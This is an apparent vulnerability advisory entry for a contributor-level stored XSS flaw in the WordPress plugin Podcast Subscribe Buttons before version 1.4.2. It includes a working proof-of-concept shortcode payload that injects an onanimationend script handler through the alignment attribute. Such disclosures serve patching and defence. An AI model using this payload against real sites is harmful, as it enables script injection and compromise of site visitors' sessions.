Lucene search

K
wpexploitApple502jWPEX-ID:998395F0-F176-45B9-BAF7-B50D30538C7D
HistorySep 15, 2021 - 12:00 a.m.

Podcast Subscribe Buttons < 1.4.2 - Contributor+ Stored XSS

2021-09-1500:00:00
apple502j
240

0.001 Low

EPSS

Percentile

24.9%

The plugin allows users with any role capable of editing or adding posts to perform stored XSS.

Add the below payload as a shortcode block:
[podcast_subscribe alignment='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']

0.001 Low

EPSS

Percentile

24.9%

Related for WPEX-ID:998395F0-F176-45B9-BAF7-B50D30538C7D